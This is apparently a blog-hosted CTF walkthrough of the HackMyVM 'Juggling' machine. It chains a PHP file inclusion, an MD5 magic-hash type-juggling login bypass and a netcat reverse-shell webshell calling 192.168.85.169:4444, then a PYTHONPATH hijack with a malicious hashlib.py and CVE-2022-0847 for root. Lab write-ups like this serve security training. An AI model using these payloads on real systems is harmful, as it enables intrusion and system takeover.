当前位置:网站首页>hackmyvm: juggling walkthrough
hackmyvm: juggling walkthrough
2022-08-02 03:25:00 【xdeclearn】
1. get first shell
port scan:
add juggling.hmv
to hosts and browsing port 80.
there is a file inclusion in the url blog.php?page=test
use this url by php pseudo-protocol, we get the source code of index.php
.
base64 decode:
<?php
session_start();
require_once("sqldb_config.php");
if(isset($_SESSION['username'])) {
header("Location: admin.php");
die();
}
if (isset($_POST['submit'])) {
$username = $_POST['username'];
$password = $_POST['password'];
$val1 = $_POST['val1'];
$val2 = $_POST['val2'];
$magicval = strcasecmp($val1,$val2);
$key = md5("$username".$password);
if (empty($val) && empty($val2)) {
echo '<br><h1 style="text-align:center;color:red;"> Value 1 and Value2 can\'t be Empty </h1>';
header("Refresh:3");
} else {
if ($val1 === $val2) {
echo '<br><h1 style="text-align:center;color:red;"> Value 1 and Value2 can\'t be Same </h1>';
header("Refresh:3");
} else {
if ($key == number_format($magicval * 1337)) {
$_SESSION['username'] = "ryan";
header("Location: admin.php"); die();
# header("Location: http://s3cur3.juggling.hmv/index.php");
header("Location: ../s3cur3/index.php");
} else {
header("Refresh:3");
}
}
}
}
?>
get a new url from the source code ../s3cur3/index.php
and new host s3cur3.juggling.hmv
. Add this host to hosts. By file inclusion see the index.php source code. Find eval
, but this also need session.
how to get the session?
from the first code, set username=s87892
, password=6199a
(you can use other username and password, please visit https://github.com/spaze/hashes/blob/master/md5.md), so the md5(“$username”.$password) for key is 0e545993274517709034328855841020
. set val1=test
, val2=TEST
, so the number_format($magicval * 1337) is 0
. By md5 equal bypass
, we get the session.
use this session, use post method to visit http://s3cur3.juggling.hmv/index.php. Finally by test.txt, write a simple shell
test.php`.
content in test.txt
: system("/bin/nc -e /bin/bash 192.168.85.169 4444");
get the first shell.
2. get the user’s privilege
check sudo, find user rehan can run md5.py with no password and can set the env. so change the env “PYTHONPATH” to user-defined paht “/tmp/test”, and there is a python file named hashlib.py
.
import os
class Test(object):
def __init__(self, test):
self.test = test
def hexdigest(self):
return self.test
def md5(test):
os.system("/bin/bash -i")
return Test(test)
run command: sudo -u rehan PYTHONPATH=/tmp/test /opt/md5.py
, get the user rehan
.
3. get root
use CVE-2022-0847, get root privilege.
边栏推荐
- ES6三点运算符、数组方法、字符串扩展方法
- When PHP initiates Alipay payment, the order information is garbled and solved
- --fs module--
- PHP入门(自学笔记)
- 三元判断再三元判断
- 逍遥多开模拟器ADB驱动连接
- (7) 浅学 “爬虫” 过程 (概念+练习)
- 查询数据库中所有表的索引,并且解析成sql
- SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration
- Several interesting ways to open PHP: from basic to perverted
猜你喜欢
PHP8.2的版本发布管理员和发布计划
js eventLoop 事件循环机制
Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary
hackmyvm-hopper walkthrough
js 原型和原型链
Small program van-cell line wrapping can be left-aligned
IP access control: teach you how to implement an IP firewall with PHP
攻防世界—MISC 新手区1-12
解决 Zlibrary 卡死/找不到域名/达到限额问题,Zlibrary最新地址
[league/climate] A robust command-line function manipulation library
随机推荐
IO stream, encoding table, character stream, character buffer stream
[campo/random-user-agent] Randomly fake your User-Agent
Stable and easy-to-use short connection generation platform, supporting API batch generation
4.表单与输入
uniapp | 官方提供的map组件使用问题
js scope and closure
uniapp | 开发中遇到的兼容性问题(待续)
IP access control: teach you how to implement an IP firewall with PHP
Using PHPMailer send mail
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
[symfony/finder] The best file manipulation library
js eventLoop 事件循环机制
PHP Foundation March Press Announcement Released
SQL分类、DQL(数据查询语言)、以及相应SQL查询语句演示
Several interesting ways to open PHP: from basic to perverted
[vite] Failed to parse source for import analysis because the content contains invalid JS syntax.
多线程(实现多线程、线程同步、生产者消费者)
1.13 学习JS
Advanced Operations on Arrays
如何根据地图上的两个坐标点来确定方向